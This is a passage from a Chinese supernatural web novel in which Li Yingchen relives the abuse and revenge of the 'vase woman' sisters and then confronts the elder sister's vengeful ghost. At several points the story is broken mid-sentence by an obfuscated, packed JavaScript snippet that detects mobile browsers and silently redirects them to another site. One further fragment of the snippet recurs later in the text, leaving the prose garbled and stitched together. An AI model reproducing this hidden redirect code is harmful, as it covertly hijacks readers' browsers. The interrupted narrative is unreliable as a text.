一股酸水从她的胃里翻上来。黎应晨想也不想,张嘴哇一口吐了出去,喷了那野猪一身。蒲扇大的巴掌立马就扇了下来,扇得她浑身一哆嗦。她呛咳着蜷缩起来,拳打脚踢如雨点一般砸下。黎应晨努力绷紧脊背,蜷缩起来护住柔软的内脏。 你看,每个人天生就明白怎么挨打。 你不明白也没关系,这东西学得很快。 “我的儿唉!没规矩的,怎的伤了我的儿!” “好儿!莫要哭了!” “脏也!脏也!须得调教!” 黎应晨被打的没力气了,摊在地上,无人问津。众人去将那猪仔团团围住,众星捧月般地抬在手里。 黎应晨带着恨意抬起眼睛,倏然一惊。不知何时,观众已经围满了整个广场,密密麻麻整齐地排列着。男女老少皆有,巨大的笑脸,如同同一个模子里刻出来的一般,无数的目光带着笑意凝视着她的惨状。 人群中央,那个给黎应晨准备的凳子还空着。 已经没人管黎应晨了,只要她想离开戏台坐回去,随时可以。 “……” 黎应晨咬咬牙。 “我不。”她咬着牙说,声音透着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157314|138574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一股狠劲儿,“我不下去。” “我有机会坐在那里,只是因为我还算幸运罢了。有的是人没得选,也没后路。” “这一次,我不想当幸运的那个。” 满天繁星之下,少女恼怒的犟音掷地有声。 铛! 黎应晨的面前被扔了一个纸扎的盆与一盆衣服。她一时间不明所以,一个巴掌又落了下来。于是她立即明白了该干什么,蹲下身去,试探着搓起来。 那猪仔对她耀武扬威,一脚一脚地踹她。 黎应晨深深地吸一口气,忍了。 在这里的生活很稳定。每天早起割草喂猪,中午烧火做饭,下午去地里帮忙,晚上在溪边洗衣服。有时候也会临时安排一些杂活儿,日子也还算过得去。 第一日清晨,黎应晨割完了草猪仔才起床。他闹哼哼地冲过来,一脑袋将黎应晨割好的猪草打翻。 黎应晨蹲在地上将草收拢,放回背篓里。 刚刚收好,猪蹦跳着又拱翻了一次,哈哈笑着跑走。 白光闪过,这一日过完。 第二日,猪仔在黎应晨洗衣服时找了过来。黎应晨不愿理它,它就故意跳进水盆里跳两下,黎应晨洗好的衣服就又脏了,只能重新洗。 黎应晨搓洗衣服直到凌晨。 白光闪过,这一日过完。 对任何人说都没用。说了挨打的也只会是自己。黎应晨面无表情,一下一下的洗着。 第三日,猪仔在黎应晨烧火的时候恶作剧,反向鼓了下风,黎应晨一下子被火星迷了眼,烫的尖叫一声。 这次她没忍住,针女的针狠狠地刺了过去。 白光闪过,没有任何事情发生。 第四日来临了。 猪仔的报复更猛烈的降临。 黎应晨咬着牙,慢慢习惯了。 这正是当年瓶女姐妹过得日子。她们能熬得住,能熬到那猪仔死了,她怎么就不能? 反正改变这一切也没有用,最终也会回到常态去,那就只能继续熬着了。 一日。一日。又一日。 割草,砍柴,喂鸡,做饭,洗衣。 无尽时间中的某天,黎应晨在满天星斗下抬起头,只看见耀武扬威的猪仔,和台下熙熙攘攘地看着她的人。 今天如此过完了。 明天也应该是如此吧。 这样的日子,是不会有尽头的。 黎应晨笑了。 她的脑子混混沌沌,在这漫长的折磨中已然不大清醒。她朦胧的记着,白光似乎是闪回的标志,所以现在的情况不对劲,她有什么地方做错了。 ——是什么地方做错了? 哪怕没有任何的推理。她也知道该做什么。 在这一瞬间,她无师自通地明白了,自己有一个非常严重的误解。 或者说,村长婆婆有一个非常严重的误解。 她蹲下身去割草,度过这一天。 直到晚上洗衣服,猪仔蹦蹦跳跳地跑过来,一脚踏进她的盆子里。 黎应晨毫不犹豫,狠狠地拽住猪仔的肥腿,扯倒猪仔,一脚踏上去。 “哼哧——” 一声剧烈的惨叫伴随着骨骼崩裂的声音爆发。黎应晨狠狠又一锤砸下去,咚的一声,筋骨俱碎。猪崽杀猪般地惨叫起来,黎应晨一脚踩住它的喉咙,咔哒一声压住了。 闭嘴!哪那么多话。她目光冰冷。 猪崽颤抖着伸出蹄髈求饶。黎应晨毫无动摇,狠狠一推,将猪仔扔到了台下。 扑通! 猪仔明明是掉入了虚空中,但是响起了巨大的落水声。 他破损的喉咙呛咳着,扑腾出了翻滚的水花和嘈杂的水声。 咚!咚!咚! 黎应晨蹲下身来,合着水一起,用力敲打着盆里的衣物,盖过了那些呛水的声音。她的目光死死地盯着台下,盯着在水中扑腾的猪仔,盯着满场座无虚席的观众。 猪仔拼命挣扎,呛咳,吐着水,也吐着血,慢慢地沉了下去。 咕嘟。 …… 她等了很久,白光没有亮起。 11. 瓶女-“仙人” 很显然,这只猪就代表着当年瓶女姐妹的“小丈夫”。 村长婆婆一笔带过,觉得当年的小丈夫是失足落水…… 她错了。 是姐姐杀了他。 姐姐是故意的。 黎应晨洗完衣服,平静地把脏水倒掉,带着衣物回到了屋子里,去继续给一家人烧炭。不知过了多久,外面隐隐地响起一声惊呼,然后是嘈杂的喧闹和哭喊。哀乐响起。唢呐声响起。纸钱洋洋洒洒地从空中飘落。在一片喧闹中,黎应晨安静地做着活,给灶台多添了一把火。 她非常、非常地平静。 如果不推这一下,她们不会被卖到戏班。她们会在这里平淡的度过一生,长大嫁给猪仔,结婚生子,穿衣吃饭,在棍棒、拳头、灶台和洗衣锤之间过了这一辈子,等到那几十年后的“多年的媳妇熬成婆”。 黎应晨想起借由婆婆之口听到的那句话:“我就不信,我偏不服。” 再然后,她们被卖到了戏班。 戏班的姜班主摸着下巴,念白道:“多是一对好姐~妹~啊!好牙口,好容颜!” “想那李家班子,有两个雏鸡使唤,如两个摇钱树一般!看的我是心痒难耐,万般可馋。” 雏妓?不是瓶女吗? 黎应晨瞪大眼睛。 一个不可思议的设想慢慢地、慢慢地冒了出来。 等等,别吧。她在心里说,这…… 姜班主盯着黎应晨,黎应晨也盯着姜班主,抿紧了唇,一言不发。 姜班主叫人去教习黎应晨伺候男人的技巧,她被拖下去了, 白光闪过。 姜班主盯着她。 黎应晨说:“班主莫急,我年纪尚小,等长大些再做不迟。我有家乡的手艺,给您唱一首,保证能得满堂喝彩,七八倍的赏钱都有的。您先试一次,若是不成拿我试问……” 白光闪过。 姜班主盯着她。 黎应晨的额角逐渐冒出一些汗滴,她绞尽脑汁,没有废话,直接开口:“枯藤老树昏鸦,小桥流水人家……”[注] 她下意识地去当了这一回文抄公,开口就背整个历史上最优秀的元曲之一《天净沙 秋思》 别想着伺候男人了,我能写出这种词! 白光闪过。 姜班主盯着她,脸色逐渐变得愠怒。 每一次闪回,他惨白的脸就多红一分。现下,已经是红彤彤的正红色了。 他的脸型还是正常的,五官却已经错位了,双眼变成竖向排列,鼻子长在脸颊左侧,就像是被水冲散的泥娃娃,无端的诡异恐怖。四散的眼球黑洞洞,直勾勾地盯着黎应晨。 这些试错和闪回,恐怕不是没有代价的。一场戏NG的次数超过上限,恐怕会有非常难看的后果。 黎应晨终于妥协,她说:“我们身量尚小,骨头还软,请把我们做成瓶女吧。” 时间终于恢复了正常流动。班主“哦?”了一声,仔细打量了她一会儿,喜上眉梢。 这一对姐妹变成瓶女,是姐姐主动争取的。 妹妹一直蒙在鼓里。 黎应晨很难评价这个决定是对是错。 姜班主一开始打算把她们当做雏妓。雏妓远没有瓶女这么凄惨,但是至少能保留有正常人的健全四肢与肢体。 姜家班子要的雏妓,自然是窑姐儿,而不是青楼才女。封建社会的性工作者,哪里能活很久呢。一生都在想着如何伺候男人,没过多久就会染上无数脏病。拿卖出来的钱都拿去治卖出来的病,什么也存不下。最后年老色衰,死于疾病、饥饿或者老鸨的毒打,这一辈子就过完了。 又或者你也可以祈祷,有吃不起饭的老单身汉,愿意再出那么几十斤粮食,把你买下来做老婆。 姐姐看着这一眼望到头的结局,再一次说出了那句话—— “我偏不服。” 瓶女凄惨,畸形,从此断绝了拥有正常人生的机会。 但是,瓶女是要当做地仙去造的,是要正儿八经去学习那些常人不可习得的东西,才能哄住人的。 姜家班主确实是要请人来教她们卜算和医理的! 黎应晨自然不可能让这个戏台真的把自己变成瓶女,她做好了准备,如果要到那一步,直接让针女救出自己走人。好在毕竟是唱戏,这戏台并没有恶意到这种程度,她装模作样被捋了几下,拿了一个花瓶形状的纸盒子套住,就当她被纳完了骨、住进了瓶子里。 教她卜算的先生看着她,唱腔称赞:“真真是奇才一个!若你我在别处相见,定要将你收成关门弟子呀啊啊啊啊——” 黎应晨没有开心,只有沉默。 是啊。 就这几个江湖先生和走街郎中的教习,竟然教出来了能在绝路中窃天命的卜算人!竟然教出来了医术高超到能够借此成为村长的医女! 这得是多么聪慧,多有天赋的两个女孩。 若是这个世道能给她们机会,让你能在别处见到她们,该有多好? 接下来的故事,与村长婆婆说的一模一样。 纳骨,巡演,大旱,夜卜。星空璀璨无垠,却没有一刻属于过这两姐妹。姐姐在漫天繁星之下将龟甲扔进火堆,问天曰: 【何处死门洞开,九死一生?何处可让戏班挫骨扬灰、形魂俱灭、死无葬身之地?】 如同她将那猪崽推下河,如同她在戏班主面前自荐瓶女。黎应晨的眼神坚定,瞳孔里燃烧着火焰。 我就不信,我偏不服。 我要所有束缚我的人和物,都挫骨扬灰,形魂俱灭,死无葬身之地! 台下万众瞩目,盯着这一场滔天豪赌。 “……可惜我晚生了八十年。”黎应晨对着虚空轻声说,“否则我们一定很聊得来。” 台上的戏继续唱着。直到收到了昆仑宫的拜帖。班主喜气洋洋,收下帖子,只等三日后昆仑宫人来见。 黎应晨集中了注意力。 瓶女姐姐,和戏班上下三十多口人,最后到底是怎么死的? 没有小猎户。没有旁的内容。 三日之后,天上刮起滚滚风雪。不知何时,台下的观众已然散尽。就连给黎应晨准备的那把椅子,都悄无声息的消失了。 终局的陌路来临。 天上的来使乘云驾雾,向戏台飞来。 黎应晨瞪大了眼睛。 那是一群衣袂飘飘的……仙人吗?他们的衣着近似于传统审美里的仙人,但是每一个人的脸部都模糊不清,五官像是热化了一样流淌下去。他们的身上,密密麻麻的,爬满了透明的,蠕动的圆球,那些圆球趴在他们的身上吮吸着,吸得圆滚滚,胖嘟嘟。 他们在融化。 “竟敢在昆仑山脚下行这等污秽之事!” 为首的人已经几乎被透明小球填满了,厉声喝道。 “尔等宵小之辈,为了一己私利,竟将那好端端的女子练成这等邪物,罪不容诛!” ……仙人们的外观奇怪了点,讲的话倒是很有点“一腔正气,荡尽千秋”的味道。 这是一场没有意外的屠杀。 一众纸人有的跪下拼命求饶,有的惨叫着四处逃窜。仙人们没有半分追逐的意思。他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157315|138574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祭出法宝,念动剑诀或者挥一挥手,那些人立马连声音都发不出一点,悄无声息地倒下了。 很快,戏班上下三十多口,悉数灭杀殆尽,吊挂在槐树上。 一个活口也未留。 罪恶,恩怨,视死如归的决心,在鲜血中画上了一个圆满的句号。 黎应晨坐在戏台中央,抬头看着仙人们。 一个仙人看着她,对领头的仙人低声说:“峰主,这个女子已然没救了。” 黎应晨的心刚刚提起来,峰主就摇摇头:“尚未咽气,也不是害人邪祟,本也是苦命女子了,不许伤她。” 峰主蹲下身来,对瓶女姐姐说:“你有什么心愿未了,或者有什么想做的事吗?我们能帮则帮。” 黎应晨发现自己已经无法控制自己的嘴了。 她说:“我想要和你们一样的神通。” 峰主沉默一会儿,说:“好。” 轰隆。 天上爆发了剧烈的雷声与闪电。 白光过后,一切归于沉寂。 戏台落满了灰,空空荡荡。 戏唱完了。 黎应晨睁开眼睛,满目迷茫。 ……这算是怎么个事儿。本来以为能借这个机会了解一下昆仑宫这些“仙人”,怎么疑点反而更多了? 他们那是什么形态?听别人的描述,黎应晨早以为这群人是什么小神仙,或者至少是修真小说里仙风道骨的修士,怎么会是那副样子?一个个被透明的怪物填满,连脸都融化掉了。 但若说是怪物邪祟……这群人看起来怎么也不像是坏人啊。 手段是雷霆了点儿,好歹心是向正的。 黎应晨不觉得这是类似于“未婚丈夫是猪仔”一样的主观加工。昆仑宫的仙人没有对瓶女姐妹做什么坏事,反倒帮助她完成了大愿,在瓶女姐妹的视角里是正面角色,没道理觉得他们是怪物。 昆仑宫的仙人明明答应了瓶女姐姐的要求,瓶女姐姐怎么还是死在槐树下了? 就这短短的一个闪电之间,发生了什么? 黎应晨没法判断。她只得拍拍身上的土,站起身来。刚一跳下舞台,被指令压在旁边待命的针女姜堰,就如同风一样迅速地冲上来,扶住了她。 “太冒险了!”针女沙哑道。 黎应晨笑:“没事,我没有受伤啦,连点皮外伤都没有。” 针女拼命地摇摇头,拽着黎应晨从头到尾,仔仔细细地检查了一遍。 “……没有什么真相或者目的比你更珍贵。”针女沙哑地说,她生前是个内向的人,死后是个内向的邪祟,觉得有些冒昧,又实在是担心,一时间都不知道怎么说话了,显得焦急又局促,“黎、黎小姐,请一定……” 请一定珍惜你自己啊。 针女紧紧地抓着黎应晨的衣袖。她看起来很想抱住黎应晨,或者握一握黎应晨的手,只是她浑身是针,只能抓着衣袖了。 黎应晨莞尔。心里一阵暖流。 “好好。”她笑嘻嘻地蹭蹭针女,“放心吧,我心里有数的。” 针女焦急,刚要再说什么,黎应晨就笑眯眯地伸出一根手指:“何况还有你在我旁边呢,对不对?姜堰姐姐一定不会让我出事的。” 针女一下子卡了壳。 是错觉吗,感觉她的脸一下飚红了。 “嗯。” 半晌,针女用力地点点头。 搞定。黎应晨心情大好。接下来,看看瓶女还给我们准备了什么吧。 她站在广场中央,环视一圈。 周围的八条路,已然亮起了灯光。 12. 瓶女-八门 放眼看去,八条路分割均匀,向周围延伸开去。 黎应晨来的那条路不知何时已然变得一片肃杀,婚假喜宴的声音愈来愈响,那些哭泣与尖叫也变得尤为大声。现在回去,恐怕不是什么好选择、 余下的七条路,皆被缭绕的云雾笼罩着。灯火在云雾后亮起,看不清楚任何东西。 在八条路的旁侧,各自用血写着一个字。黎应晨仔细看去,分别是:冲、辅、英、芮、柱、心、蓬、任。 黎应晨:“……” 这是个什么玩意儿。 她抬头看针女,针女比她更懵逼。 “这当是……奇门算卜之物?”针女迟疑道。 “我在这方面没有任何研究。”黎应晨沉痛地低头,“能把字认全我已经很厉害了。” ……对自己要求是真低啊。 正在这时,黎应晨脑子里突兀地响起一个声音: “三奇六仪,八宫九星。” 这声音清淡冷定,带着一点笑意,连吐字都是温温柔柔从容不迫的。听得黎应晨一愣。 “这是最基础的星数排列。此八字分别代表八个星数,象征着奇门遁甲中的八方,八方又能找到一一对应的八门。从小主公的来路开始数,分别为‘伤、杜、景、死、惊、开、休、生’八门。” “这之中没什么复杂的变化排列。看样子,布阵者并不打算在此处为难我们。” 看黎应晨她们没反应,那声音微微一顿。 又笑道:“怎么,小主公,不认识我了?” “是我,吊树影。” 黎应晨满脸卧槽:“……卧槽。” 到是听出来了,但是怎么感觉OOC了呢! “此前心智混沌,多有冲撞。”吊树影的声音有些无奈,“……让您见笑了。” 黎应晨:“混沌的挺有个性,以后不要再混沌了。” 怎么说呢,这种冲击,就好像你在茅房的角落里,听到有人一边沐浴一边引吭高歌,唱的还是山歌。然后你在“呐呀耶呐呀耶,喃呀呢耶呐呀耶”的歌声中走出门一看,发现那货竟然是你的高数教授。 吊树影汗颜:“决计不会。那段时间小生全无意识,所性所言皆非本心,还望您见恕则个。” 黎应晨和针女对视一眼,却轻笑一声,微微摇摇头。 邪祟刚被收服时理智混沌,并不代表其表现和自己本身的性子完全无关。 因为早期针女惜字如金,黎应晨甚至一度以为邪祟不会说话。后来才发现,邪祟的语言功能完全没问题,只是针女比较内向,不爱说话而已…… 吊树影也一样。那种疯癫亢奋的样子绝对也是他的内心一面,只不过有理智的时候会藏起来而已。 “那该怎么走?”黎应晨站起来,摸摸下巴。 吊树影道:“一般来讲,开、休、生三门为吉,死、惊、伤三门为凶,杜门、景门为中平门。” “我们沿着生门走,应当就能走出这里了。” 黎应晨摇摇头,沉思:“……” 她想起来自己在戏台上起的那一卦:何处死门洞开,九死一生? “如果想出去的话,走生门应当没错。但若是想找到瓶女姐姐,恐怕得去死门。” 她没有给自己留生路。 “确实如此。”吊树影赶忙道,“小主公明鉴。那就当去‘芮’字路了。” 明鉴个臀气,我不信你自己没想到这一点。黎应晨微微抬抬眼皮。这家伙,递话茬奉承人都挺顺手的,以后他说的好话要打个折听。 “吊树影啊。” “小生在。” “你觉得那柳阿公听完了戏,应当去了哪一门?” 吊树影立即道:“当是开字门无误。开字门是八卦之首,为父做长,主婚娶乔迁,添丁进口,又有开创基业、扩张国土之意。柳阿公成为添丁巢穴,又用以开疆拓土,打开村内邪祟通道,应当是自‘开’门中出去的。” 对答如流,明显早已心中有数。 “走,我们去开字门中会一会。”黎应晨勾手,“是哪一星?” “小主公向‘心’字路走即可。” 漫天繁星之下,黎应晨踏入了雾气。 刚一踏进那条路,门口的雾就散去了。开门路旁,民房已然不是一片黑暗。家家户户贴着喜庆的红纸,喜字已然半旧。夜风微凉,新芽自土地中钻出,是初春世界。 路的尽头,有一处院子。 院子中央,一个老年农夫正喜气洋洋地扫着地。 虽然与自己见时的形貌已大不相同,但黎应晨仍然一眼就认出来了:这正是柳阿公。 柳阿公抬头,乐道:“哟,居然有得独行的旅客?” 黎应晨颇为自来熟:“是啊,远行至此,燥热难耐,可否向老先生讨碗水喝?” “哈哈哈,姑娘来得巧。正好老头家里两个孙女成童,正有宴席。远来是客,姑娘不要嫌弃,进屋坐坐,老朽给你添杯茶水,吃些喜糖。”柳阿公乐呵呵地放下扫帚,在短襟上擦擦手,将黎应晨迎进屋内,“来,来。大郎,去拿些喜糖来!” 黎应晨走进屋内,那场所和柳家一模一样。洋洋地贴着红纸,四下撒着鞭炮碎。一名衣着宽松的女子坐在侧屋榻上,笑着向黎应晨点头示意。端得一派喜气。 只是,现实中的柳家此刻正摆着柳阿公的灵堂。 黎应晨假笑一下,学着白莹的礼数客套几句。柳阿公为她斟茶,她举杯笑着扬手,装作一饮而尽的样子,悄悄倒进了衣袖里。 鬼给的东西,能不进嘴就不进嘴了。 刚刚坐下,一个小姑娘就如炮弹似的冲了过来,一下撞进了柳阿公怀里。 “爷爷!爷爷!”她快活地叫道,“我碴子儿把那群小子都赢啦!” “哎——!”柳阿公笑得慈祥温柔,低头一把将那小女儿抱起来,放在膝上。小女孩咯咯地笑,抱着柳阿公亲,手上的泥污蹭脏了老头的胡子,柳阿公也毫不在意。 “还是我家囡囡争气!来,囡囡,给客人见礼!” 小女孩攀住柳阿公的脖子,看着黎应晨,向后缩一缩,不算很自来熟,却也不畏生,脆生生道:“客人好!” 黎应晨脑子里突然拨动了一根弦。 这小姑娘,眉眼有几分像是村长婆婆。 "我家媳妇体弱,这些年来就诞这两个孙女,给我们惯的没样儿。"柳阿公笑呵呵地由着小女孩扯他胡子,“客人莫要见怪。” “哪里的话,小姑娘当真机灵可爱。”黎应晨笑,从衣襟里掏出一块绿豆糕来递给小姑娘,"成童也算长大咯。来,就当是见面礼了。" 小姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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什么正在和柳阿公融为一体,柳阿公又束缚着什么呢? 妹妹和柳阿公,各自代表着什么? 如果只受邪祟本能驱使,想着杀死所有人,那姐姐直接将一切误入者引入死门便好,何苦要旁生这些枝节?让柳阿公在幻境中过得这么幸福,还给黎应晨展示这么多东西。给黎应晨展示了瓶女的人生,还又给了她自由行动和选择的机会。这一切一定是有目的的。 但是这目的又没有这么直白。有些模模糊糊,不清不楚。 瓶女姐姐自己的心里,是拧巴的。 姐姐的执念……究竟在哪里呢? 黎应晨正在思考,这边吊树影突然说:“这小姑娘正在跑八门的变化路线。她正在向着死门的方向跑。” 又啧啧两声:“一路向死啊,不是好事。” 黎应晨突然一愣。 吊树影:“小主公……?” 黎应晨如醍醐灌顶一般,思路豁然开朗。 “没关系,意料之中。”黎应晨低笑起来,随手擦掉汗珠,轻轻出了一口气。 “我明白怎么回事了。” “走吧。” 13. 瓶女-生门 慢慢地,道路上积满了黄叶。 深一脚浅一脚地跑在上面,能踩出卡嚓卡嚓的响声。 黎应晨慢慢停下脚步,看到道路尽头,一棵巨大的老槐树伫立于峭壁之前。 在那粗壮的枝干上,吊着一个女人。 初秋的风仍带着暖意,落叶纷纷扬扬,扑簌归根。 小女孩似无所觉,笑吟吟地跑上前去,对枝干上挂着的女人举起糕点,笑道:“姐姐,姐姐,我们有豆糕吃啦。” 天真微笑着的小脸面前,青白的尸体微微晃着。 尸体没有回应。半晌,一阵没来由的狂风席卷,小女孩的身影开始闪烁,明灭不定。但她好像不明白发生了什么,在风中跌跌撞撞:“姐姐……?” 黎应晨冲上去,一把搂住小女孩,替她挡住了风。狂风呼啸,少女的声音在风中变形:“没关系,我在这呢。” “姐姐看起来有事要忙,走,我带你先回去找爷爷。” 黎应晨护着那小姑娘离去,直至路口无风之处,才拍拍她的肩膀,让她自己回家。 黎应晨转过身,那槐树上的邪祟静静地看着她。 终于找到你了。 黎应晨原本以为自己会看到一个斗士,看见一个愤怒的昭彰着理想的人。可她错了。 瓶女一身白衣,身量正常,长相平平。她的眉眼温和沉静,透着一股平和睿智的风度,就像是她经常能看到的那些文质彬彬的年轻人们。像是私塾先生,像是诗文学者,独独不像是一个疯子。 也许她本来也不是一个疯子。 瓶女婆婆已然年过古稀,她的这位姐妹永远停留在了二十岁的大旱里,站在槐树脚下,凝望着八门幻境,漫天繁星。 “你明知道那只是个幻象。” 瓶女说,声音温和。 黎应晨说:“但是我还是会护着她,正如我护着每个小女孩。” 瓶女无声地笑笑。 她的表情仍然平静,只是回转过身去。 刹那间,天地变色。 狂风怒吼,激起千层落叶,纷纷扬扬地翻滚涌起,砸在墙上,一窝扑碎。碎裂的石子刮在黎应晨的脸上,嚓的一道血痕。黎应晨伸手护住头脸,扬声道: “针女!” 何须她喊。针女蓦然张开皮囊,身量鼓起,铁针钉在原地,替黎应晨挡住所有风霜。 瓶女坐在槐树顶端,垂眸一笑。她的座下,戏班上下几十口人的头颅在槐树中堆叠,死不瞑目。那垂落的鲜血掀起一阵血一样的雨,随风翻滚, 邪祟低眉,血红色的眼瞳里压着几十年深沉的激愤与怨毒,椎心泣血,已成风暴。 “何处死门洞开,九死一生?何处可让戏班挫骨扬灰、形魂俱灭、死无葬身之地?” 她笑道,声音很轻,但是黎应晨听得清清楚楚。那嗓音里流着血,含着泪,藏着人生几十年的风霜雪雨, “就在此刻,就在此处,就在我的脚下。” “小丫头,你可知,你已一脚踏入死门?” “我知道!” 黎应晨盯着她的红瞳,寸步不让。 “我就在这里,我就是来找你的!跟我走吧!——” 【叮咚——】 系统的声音如约响起。 【天赋:赶尸人]发动!目标为A级邪祟,考验开始~】 【她的灵名是?】 “——连苦!”黎应晨高声叫出了瓶女姐姐在成为瓶女之前的名字。 那个曾经短暂的属于她们姐妹的,人类的名字。 【叮!回答正确。】 【她的执念是?】 “和你走?我和你走有什么用!”瓶女连苦大笑起来,似乎感觉黎应晨非常好玩,“你当和我走!” 她的声音终于凄厉起来了。在那沉静的外表下,藏着如此刻一般的风暴。 “我能感觉到!我能感觉到,你和我是一类人,丫头!” “凭什么女子不可继承家产?!凭什么几斤米就能买断我的一条命?!凭什么女子就要洗衣做饭,蹉跎一生,学问都是男子的?!凭什么岁饥人相食,官老爷赚得盆满钵满,而我就要被吃?” “我当杀尽冷漠的看客,杀尽高高在上的老爷们,让他们都来尝尝孤女的苦楚!我要把这棋盘翻了天去!人也好,神也好,要这腐朽的天地翻在我的手下!” 瓶女这话几乎已经是明示了。 姜堰抿唇,明白了这瓶女的执念:想要杀尽天下老爷,杀尽天下男人,想要让那些高高在上的人们,亲自来体验体验她们上天无路、入地无门的苦难。 她看向黎应晨。 但是黎应晨却没有答题。 黎应晨笑:“我懂!我们就是一类人。你有恨,你不服,你不想让任何东西骑到你的脑袋上,你胸中有星斗沟壑,不想窝窝囊囊的过上那憋屈的一辈子!你不想妥协!” 瓶女道:“那你为何拦我?” 黎应晨说:“因为你现在在干的事情,就是最大的妥协。” 瓶女勃然大怒:“你在说什么胡话?!” 漆黑夜空中,满天星辰闪烁,一颗颗轰然坠下。针女姜堰的阴歌响起,动作快到肉眼无法分清,暴雨梨花一般的密集针影向天刺去,就像一场逆行的雨,刺破了坠落的星辰。 瓶女说:“我知道,你不想让我杀那黑凤村的人,你觉得他们未曾欺辱我们姐妹,你觉得他们无辜!但是,当年我在这里的时候,你这样的人为什么没有来?现在等我来反击,你出来说这些,又有什么用?” “天地无路,此题无解,那天地就当死!” “你是在恨天地无路此题无解,还是在恨这世道没能给孤女幼儿一个活路?” 黎应晨高声道。 她将这句话作为了答案。 【叮!回答正确。】 “这有何区别?”瓶女说,“这世道本就是这样!” 黎应晨笑了:“区别大了,因为一个是恨死路,一个是找活路!” 瓶女愣住。 “你就是在妥协,你就是在认命!你想杀尽天下老爷,想杀尽天下男子,想让他们同底层女子一样,你就已经认了这个命——底层女子只有死路,没有活路!” 【——在占卜结束之后,她最终走向了哪一门?】 ……不知道。 系统果然留了雷。这话问得太模糊了。直接说生门死门都有问题。没有人知道这个“占卜”指的是哪次占卜,“最终”指的是哪个最终。在做瓶女时,她解了无数的生门来走;在大旱占卜之后,她带着戏班和自己走向了死门;在戏台的占卜过后,她应当留在“开”门中和柳阿公、妹妹的幻象一起生活;黎应晨来之后的此刻,她又站在了死门与开门之间。 不怪别人想多,系统本就充满恶意。直接回答死门,指不定发生什么事情。 黎应晨不理这破问题,只是狠狠一扯自己的袖口,解放被捆束的菱铃镯。 “若是你杀死那些看客,能让孤女们幸福一生,我自不拦你!但是,你所做的事情,根本不能让任何人过上好日子!你杀尽所有人,她们也只能随同一起死!你只是顺了天命,顺了这条毁灭的天命,然后去拖其他人下水罢了。” “你打着为那些孤女伸冤翻身的旗号,却已经成了害那些孤女的凶手。” 白凝春面黄肌瘦的脸在黎应晨脑袋里闪过。耕地被占,秋收无果,在自己来之前,那孩子已经多久没吃东西了? “你已经认命了,我不苛责你。”黎应晨说,“但我不信天地,我不信命!我不信此题无解!我不信这是死门无生,我不信我没有办法!天地无路,那我就劈开这天地,开一条通天的道出来!” “不是让所有人陪我们一起见阎王,而是带着大家,带着孤女们,我们所有人一起爬上去,站到那些老爷们站过的山上,晒着太阳,再说是非!” 吊死鬼,指路!生门在何方? 吊树影在黎应晨的意识里说话,声音辨不明情绪:一路向东。 一路向东,在朝阳升起的方向。 在这一瞬间,黎应晨终于显露出埋藏在表层下面,张狂的本性一角。 黎应晨总是在笑,看上去非常的乐观旷达,以至于针女姜堰时常觉得她有些万事不往心里去,玩世不恭的味道。 她错了。 黎应晨在乎的东西太多了,她只是乐观达到一种令人发指的境地。 她从未把所谓天道当做不可逾越的屏障,从未将任何困苦当做不可克服的绝境。她相信只要人类心之所向,万事无不可成。摔倒了那就爬起来,这次不行那我就再试一次。我死了,也会有别的后来人。总会有办法,总能有条路。一步一个脚印陷在地里,是少年人撞破南墙不回头,无边无沿的张狂。 所以她去救她见到的每一个人,去做她能做的每一件事。 狂的都有点瘆人了。 “就算是死门,我也一样开条生路给你看,就算是这种世道,我也能给丫头们谋一条生路——现在,我也要给你一条生路。”黎应晨说。 “说得轻巧。你谁也救不了,所有人都要死!” 瓶女的声音滚在风中,已近乎扭曲了。 周围流星暴涨,彻底爆发。坠落的星辰速度倏然加快,刺啦一声,穿透了针女薄到透明的人皮! 针女惨叫一声。 丁铃铃铃—— 黎应晨毫不犹豫,左手一挥,摇响了铃菱镯。 针女力道提升25%!左支右绌的姜堰,一下子迎风暴涨,人皮不闪不避地迎上前去,裹卷着那些闪耀的流星,狠狠地缠住了瓶女。 “我不打算说服你。你尝尽了世间疾苦,这不是你的错。” 黎应晨喘口气,眼里冒着灼灼的火。 “但我能不能救得了谁,不是你说了算的,也不是我说了算的。”她说,“做了才知道!” “去你的爸爸妈妈,我就是要玩这个!” 黎应晨指着幻境东面,扬声喊道。 【小孩的沙堡】!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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身后传来了鞋底摩擦的声音。柳阿公蹒跚而来,看着眼前繁星坠落的景象。 瓶女调动所有怨力对抗黎应晨,他挣脱了幻境的虚假记忆。 瓶女看着老人,呼吸一滞。 柳阿公很快明白了怎么回事。但他没有破口大骂,也没有瑟瑟发抖。苍老的面容上有悲苦,却不是为自己,而是看着瓶女的。 他说:“囡囡,回家吧。” 柳阿公拎着铲子,狠狠地铲倒了一处沙堡。 